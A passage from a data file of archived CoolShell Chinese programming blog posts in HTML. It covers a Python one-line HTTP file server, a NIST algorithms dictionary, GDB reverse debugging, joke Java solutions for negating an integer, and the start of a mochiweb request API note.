width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-27 非常简单的Python HTTP服务.html",
    "content": "<html><body><p>如果你急需一个简单的Web Server，但你又不想去下载并安装那些复杂的HTTP服务程序，比如：Apache，ISS等。那么， <a href=\"http://www.python.org/\">Python</a> 可能帮助你。使用Python可以完成一个简单的内建 HTTP 服务器。于是，你可以把你的目录和文件都以HTTP的方式展示出来。佻只需要干一件事情，那就是安装一个Python。</p>\n<p>实际上来说，这是一个可以用来共享文件的非常有用的方式。实现一个微型的HTTP服务程序来说是很简单的事情，在Python下，只需要一个命令行。下面是这个命令行：（假设我们需要共享我们的目录 <tt><span>/home/haoel</span></tt> 而IP地址是192.168.1.1）</p>\n<pre class=\"EnlighterJSRAW\">\n$ cd /home/haoel\n$ python -m SimpleHTTPServer\n</pre>\n<p><span id=\"more-1480\"></span></p>\n<p>这就行了，而我们的HTTP服务在8000号端口上侦听。你会得到下面的信息：</p>\n<pre>Serving HTTP on 0.0.0.0 port 8000 ...</pre>\n<p>你可以打开你的浏览器（IE或Firefox），然后输入下面的URL：</p>\n<pre>http://192.168.1.1:8000</pre>\n<p>如果你的目录下有一个叫 index.html 的文件名的文件，那么这个文件就会成为一个默认页，如果没有这个文件，那么，目录列表就会显示出来。</p>\n<p>如果你想改变端口号，你可以使用如下的命令：</p>\n<pre class=\"EnlighterJSRAW\">\n$ python -m SimpleHTTPServer 8080\n</pre>\n<p>如果你只想让这个HTTP服务器服务于本地环境，那么，你需要定制一下你的Python的程序，下面是一个示例：</p>\n<p>[py]<br/>\nimport sys<br/>\nimport BaseHTTPServer<br/>\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler<br/>\nHandlerClass = SimpleHTTPRequestHandler<br/>\nServerClass  = BaseHTTPServer.HTTPServer<br/>\nProtocol     = \"HTTP/1.0\"</p>\n<p>if sys.argv[1:]:<br/>\n    port = int(sys.argv[1])<br/>\nelse:<br/>\n    port = 8000<br/>\nserver_address = (‘127.0.0.1’, port)</p>\n<p>HandlerClass.protocol_version = Protocol<br/>\nhttpd = ServerClass(server_address, HandlerClass)</p>\n<p>sa = httpd.socket.getsockname()<br/>\nprint \"Serving HTTP on\", sa[0], \"port\", sa[1], \"…\"<br/>\nhttpd.serve_forever()<br/>\n[/py]</p>\n<p>注意：所有的这些东西都可以在 Windows 或 <a href=\"http://www.cygwin.com/\">Cygwin</a> 下工作。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1480.html\">非常简单的Python HTTP服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-28 算法和数据结构词典.html",
    "content": "<html><body><p>我们知道，在编程的世界里，主要就是两个事，用一定的算法去处理一定的数据。算法可以理解为业务逻辑流程，而数据自然一定是按某种结构来存放，这就是数据结构。我们知道，数据结构的修改一定会导致算法的修改，我们也知道，数据结构直接关系到了整个程序的繁简性，高效性。而算法则是关系到数据处理的时间、空间性能，以及日后的扩展和维护。这两个东西是计算机科班出生的人或是需要学习编程的人必需要注意的两件头等大事。</p>\n<p>下面这个网站，由 <a href=\"http://www.itl.nist.gov/div897/\">Software and Systems Division</a>, <a href=\"http://www.itl.nist.gov/\">Information Technology Laboratory</a> 创建。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.itl.nist.gov/div897/sqg/dads/terms.html\" target=\"_blank\"><strong></strong></a><strong><a href=\"http://xlinux.nist.gov/dads/\" target=\"_blank\">http://xlinux.nist.gov/dads/</a></strong><strong> </strong></p>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"https://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif\" title=\"更多...\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-1499\"></span></p>\n<p>这是一个关于算法，算法技术，数据结构，系统架构等相关问题的一个词典。其中，算法包括了一些常见的算法，比如： <a href=\"http://xlinux.nist.gov/dads/HTML/ackermann.html\" target=\"_blank\">Ackermann’s function</a> ，一些算法问题包括了 <a href=\"http://xlinux.nist.gov/dads/HTML/travelingSalesman.html\" target=\"_blank\">traveling salesman</a>（销售员出差问题） and <a href=\"http://xlinux.nist.gov/dads/HTML/byzantine.html\" target=\"_blank\">Byzantine generals</a>（拜占庭将军问题），还有一些关于这些问题，算法的 <a href=\"http://xlinux.nist.gov/dads/termsImpl.html\" target=\"_blank\">实现链表</a> 以及更多的信息。而索引页包括 <a href=\"http://xlinux.nist.gov/dads/termsArea.html\" target=\"_blank\">领域索引</a> 和 <a href=\"http://xlinux.nist.gov/dads/termsType.html\" target=\"_blank\">类型索引</a>.</p>\n<p>希望这个网站对有你用。当然，这个网站是英文的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1499.html\">算法和数据结构词典</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-28 高科技：GDB回溯调试.html",
    "content": "<html><body><p>也许大家知道，GDB 版本7.0 (2009年9月release) 会是第一次开始支持Reversable Debugging （回溯调式技术），这是一种可以让在debug程序时当我们运行单步调试或是运行到断点时，可以以逆向执行程序的一种技术。（这是GNU的<a href=\"http://www.gnu.org/software/gdb/news/reversible.html\" target=\"_blank\">新闻链接</a>）</p>\n<p>下面是GDB7.0版本所支持的回溯调试的命令，其中包括，continue，step，以及调试方向的设置。</p>\n<li><strong>reverse-continue</strong> (‘rc’) — 继续程序运行到断点，但是是逆向运行程序。</li>\n<li><strong>reverse-finish</strong> — 逆向运行程序直到跳出本层函数。</li>\n<li><strong>reverse-next</strong> (‘rn’) — 语句单步向后跟踪程序。</li>\n<li><strong>reverse-nexti</strong> (‘rni’) — 指令单步向后一条指令。</li>\n<li><strong>reverse-step</strong> (‘rs’) — 向后执行一条语句，单步进入。</li>\n<li><strong>reverse-stepi</strong> — 向后执行一条指令，单步进入。</li>\n<li><strong>set exec-direction (forward/reverse)</strong> — 设置程序执行方向，向前或向后。</li>\n<p><span id=\"more-1502\"></span></p>\n<p>在网上查了一下，发现VS2010好像也准备要支持这个东西，微软叫这个东西为“<a href=\"http://blogs.msdn.com/ianhu/archive/2009/05/13/historical-debugging-in-visual-studio-team-system-2010.aspx\" target=\"_blank\">Historical Debugging</a>”。</p>\n<p>这个东西，对于我这个老家伙来说比较新鲜，而且还有点诡异。我有点没跟上这个技术，不知道这个技术主要是用来干什么？对于程序的运行的回滚？这样一来，如果，我某条语句创建了一个线程，或是一个文件，逆向执行回去，莫非它还能把这些程序创建出来的资源回收啦？就算是能回收，要是我的某个程序向网络发了些数据出去，莫非它还能给我再收回来？也许我想得太极端了，不过好像目前对这个技术的原始需求的说明不是很多，所以真不知道这个技术除了很酷，还有什么？也许是我理解错了，希望大家指点一下。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3643.html\"><img alt=\"GDB中应该知道的几个调试方法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3643.html\">GDB中应该知道的几个调试方法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1719.html\"><img alt=\"橡皮鸭程序调试法\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1242.html\"><img alt=\"23,148,855,308,184,500\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1242.html\">23,148,855,308,184,500</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1502.html\">高科技：GDB回溯调试</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-3 编程真难啊.html",
    "content": "<html><body><p>上周，在Sun的Java论坛上出现了一个这样的帖子，这个贴子的链接如下：<br/>\n<a href=\"http://forums.sun.com/thread.jspa?threadID=5404590&amp;start=0&amp;tstart=0\" target=\"_blank\">http://forums.sun.com/thread.jspa?threadID=5404590&amp;start=0&amp;tstart=0</a></p>\n<p>LZ的贴子翻译如下：</p>\n<blockquote><p>大家好，我是一个Java的新手，我有一个简单的问题：请问我怎么才能反转一个整数的符号啊。比如把-12转成+12。是的，毫无疑问这是个简单的问题，但我弄了一整天我也找不到什么好的方法。非常感谢如果你能告诉我Java有什么方法可以做到这个事，或者告诉我一个正确的方向——比如使用一些数学库或是二进制方法什么的。谢谢！</p></blockquote>\n<p>这个贴子的沙发给出了答案：</p>\n<p><span id=\"more-1391\"></span></p>\n<p style=\"PADDING-LEFT: 30px;\">n = -n;</p>\n<p>LZ在四楼回复到：</p>\n<blockquote><p>我知道是个很简单的事，可我没有想到居然这么简单，我觉得你可能是对的。谢谢你。</p></blockquote>\n<p>过了一会，又回复到：</p>\n<blockquote><p>不开玩笑地说，我试了，真的没有问题耶！</p></blockquote>\n<p>看到这样的贴子，就能想到国内论坛上很多这样的“问弱智问题的贴子”，结果可能都会是比较惨！是的，国外的互联网文化和国内差不多，都是恶搞的人多于热心的人，呵呵。<strong>不过，国外的网民们有一点是好的，再恶搞也是就事搞事，不会有侮辱人的语言，这点真是值国内的人学习</strong>。</p>\n<p>这本是一个平淡无奇的贴子，不过回复中那些恶搞的“解决方案”太强大了，在这里例举一下吧。</p>\n<p>贴子的板凳给出了这样的答案（这是恶搞的开始）</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\nint x = numberToInvertSign;\nboolean pos = x &gt; 0;\nfor(int i = 0; i &lt; 2*Math.abs(x); i++){\n    if(pos){\n        numberToInvertSign--;\n    }\n    else{\n        numberToInvertSign++;\n    }\n}\n</pre>\n<p>然后，有人说，n = -n 可以是可以，但不够晦涩，于是一个晦涩的解决方案出现了：</p>\n<pre class=\"EnlighterJSRAW\">\nint n = ....;\n n = (0xffffffff ^ n) + 1;\n</pre>\n<p>然后，又出现了一些看似简单，其实是比较晦涩的方案</p>\n<p><code><code class=\"EnlighterJSRAW\">n = ~n + 1; </code></code></p>\n<p> </p>\n<p><code><code><code class=\"EnlighterJSRAW\">n = ~--n; </code></code></code></p>\n<p> </p>\n<p><code><code>继续，有才的人从来就不少：</code></code></p>\n<p><code><code></code></code></p>\n<pre class=\"EnlighterJSRAW\">\nn^= 0xffffffff;\nint m;\nfor (m= 1; m != 0 &amp;&amp; ((n&amp;m) != 0); m&lt;&lt;= 1);\nn|= m;\nif (m == 0) n= m;\nelse for (m &gt;&gt;= 1; m != 0; n^= m, m&gt;&gt;=1);\n</pre>\n<p> </p>\n<p><code><code>呵呵，开始越来越强大了，我以前也向大家介绍过《<a href=\"https://coolshell.cn/articles/933.html\" rel=\"bookmark\">如何加密/弄乱C源代码</a>》的文章，和这些恶搞的人可能有点相似吧。上面这个例子一出，大家都在讨论上面例子中的for循环语句，呵呵，很费解啊。</code></code></p>\n<p><code><code>然后，后面几个就开始乱来了：</code></code></p>\n<pre class=\"EnlighterJSRAW\">public int invert(int i) {\n  return i - (i + i);\n}</pre>\n<pre class=\"EnlighterJSRAW\">switch (i)\n{\n  case 1: return -1;\n  case 2: return -2;\n  case 3: return -3;\n  // ... etc, you get the proper pattern\n}</pre>\n<p>不过事情还没有结束，看看下面这个吧，OMG。</p>\n<pre class=\"EnlighterJSRAW\">int absoluteValue(int num)\n{\n int max = 0;\n for(int i = 0; true; ++i)\n {\n  max = i &gt; max ? i : max;\n  if(i == num)\n  {\n   if(i &gt;= max)\n    return i;\n   return -i;\n  }\n }\n}</pre>\n<p> 还有用字符串的解决方案：</p>\n<pre class=\"EnlighterJSRAW\">public int invert(int n) {\n    String nStr = String.valueOf(n);\n \n    if (nStr.startsWith(\"-\")) {\n        nStr = nStr.replace(\"-\", \"\");\n    } else {\n        nStr = \"-\" + nStr;\n    }\n \n    return Integer.parseInt(nStr);\n}</pre>\n<p>别忘了面象对象，有最新Java支持的模板库： </p>\n<pre class=\"EnlighterJSRAW\">public interface Negatable&lt;T extends Number&gt; {\n  T value();\n  T negate();\n}\n \n \n \npublic abstract class NegatableInteger implements Negatable&lt;Integer&gt; {\n  private final int value;\n \n  protected NegatableInteger(int value) {\n    this.value = value;\n  }\n \n  public static NegatableInteger createNegatableInteger(int value) {\n    if (value &gt; 0) {\n      return new NegatablePositiveInteger(value);\n    }\n    else if (value == Integer.MIN_VALUE) {\n      throw new IllegalArgumentException(\"cannot negate \" + value);\n    }\n    else if (value &lt; 0) {\n      return new NegatableNegativeInteger(value);\n    }\n    else {\n      return new NegatableZeroInteger(value);\n    }\n  }\n \n  public Integer value() {\n    return value;\n  }\n \n  public Integer negate() {\n    String negatedString = negateValueAsString ();\n    Integer negatedInteger = Integer.parseInt(negatedString);\n    return negatedInteger;\n  }\n \n  protected abstract String negateValueAsString ();\n}\n \n \n \npublic class NegatablePositiveInteger extends NegatableInteger {\n  public NegatablePositiveInteger(int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return \"-\" + valueAsString;\n  }\n}\n \n \n \npublic class NegatableNegativeInteger extends NegatableInteger {\n  public NegatableNegativeInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    String valueAsString = String.valueOf (value());\n    return valueAsString.substring(1);\n  }\n}\n \n \n \npublic class NegatableZeroInteger extends NegatableInteger {\n  public NegatableZeroInteger (int value) {\n    super(value);\n  }\n \n  protected String negateValueAsString () {\n    return String.valueOf (value());\n  }\n}</pre>\n<p> </p>\n<p>这个贴子基本上就是两页，好像不算太严重，如果你这样想的话，你就大错特错了。这个贴子被人转到了reddit.com，于是一发不可收拾，在上面的回贴达到了490多条。链接如下：</p>\n<p><a href=\"http://www.reddit.com/r/programming/comments/9egb6/programming_is_hard/\" target=\"_blank\">http://www.reddit.com/r/programming/comments/9egb6/programming_is_hard/</a></p>\n<p>有人说，要用try catch；有人说要使用XML配置文件……，程序员们在追逐更为变态和疯狂的东西，并从中找到快乐，呵呵。</p>\n<p>看完后，正如reddit.com所说——“<strong>编程好难啊</strong>”！</p>\n<p>无独有偶，这并不是第一次，也不会是最后一次，让我们看看在PHP的官网上发生的类似的一幕——讨论PHP的abs取绝对值函数的函数说明文档中的回复：</p>\n<p><a href=\"http://us.php.net/manual/en/function.abs.php#58508\" target=\"_blank\">http://us.php.net/manual/en/function.abs.php#58508</a></p>\n<p>又是一个长贴，还带着很多性能分析，真的很好很强大！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-9-30 mochiweb参数化模型Req相关功能.html",
    "content": "<html><body><p>本文的笔记讲述如何从client请求中获取各种参数,如method, request path, headers, cookie等。</p>\n<p>Mochiweb是Erlang实现的一个开源Web服务器，它设计的一个亮点就是他本身的Http请求的参数化模型。因此我们可以用OO的方式来理解它的相关用法。<br/>\n它的实现在mochiweb_request模块.在mochiweb中,每个client请求其构造一个 Req 对象(注：这个“对象“只是便于理解的提法), Req 可以理解成 mochiweb_request 的一个参数化或实例化.<br/>\n<span id=\"more-1516\"></span></p>\n<p>1.<span style=\"color: #339966;\"><strong>Req:get(method)</strong></span><strong> </strong>-&gt; ‘OPTIONS’ | ‘GET’ | ‘HEAD’ | ‘POST’ | ‘PUT’ | ‘DELETE’ | ‘TRACE’.<br/>\n获取Http请求的方式.</p>\n<p>2.<span style=\"color: #339966;\"><strong>Req:get(raw_path)</strong> </span>-&gt; String().<br/>\n获取raw_path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login?username=test#p就是这个raw_path.</p>\n<p>3.<span style=\"color: #339966;\"><strong>Req:get(path)</strong></span><strong> </strong>-&gt; String().<br/>\n获取path.比如 http://www.nextim.cn/session/login?username=test#p,那/session/login就是这个raw_path.</p>\n<p>4.<span style=\"color: #339966;\"><strong>Req:parse_qs()</strong></span> -&gt; [{strng(), string()}].<br/>\n获取get参数.比如 http://www.nextim.cn/session/login?username=test#p,则返回[{“username”,”test”}].</p>\n<p>5.<span style=\"color: #339966;\"><strong>Req:parse_post()</strong></span> -&gt; [{strng(), string()}].<br/>\n确保post数据类型为: application/x-www-form-urlencoded, 否则不要调用(其内部会调用Req:recv_body),返回值类似Req:parse_qs().</p>\n<p>6.<span style=\"color: #339966;\"><strong>Req:get(peer)</strong></span><strong> </strong>-&gt; string().<br/>\n返回值为client的ip</p>\n<p>7.<span style=\"color: #339966;\"><strong>Req:get_header_value(Key)</strong></span> -&gt; undefined | string().<br/>\n获取某个header,比如Key为”User-Agent”时，返回”Mozila…….”</p>\n<p>8.<span style=\"color: #339966;\"><strong>Req:get_primary_header_value(Key) </strong></span>-&gt; undefined | string().<br/>\n获取http headers中某个key对应的主值(value以分号分割).<br/>\n举例: 假设 Content-Type 为 application/x-www-form-urlencoded; charset=utf8,则<br/>\nReq:get_header_value(“content-type”) 返回 application/x-www-form-urlencoded</p>\n<p>9.<span style=\"color: #339966;\"><strong>Req:get(headers)</strong> </span>-&gt; dict().<br/>\n获取所有headers<br/>\n说明: 返回结果为stdlib/dict 数据结构,可以通过mochiweb_headers模块进行操作.<br/>\n举例: 下面代码显示请求中所有headers:<br/>\nHeaders = Req:get(headers),<br/>\nlists:foreach(fun(Key, Value) 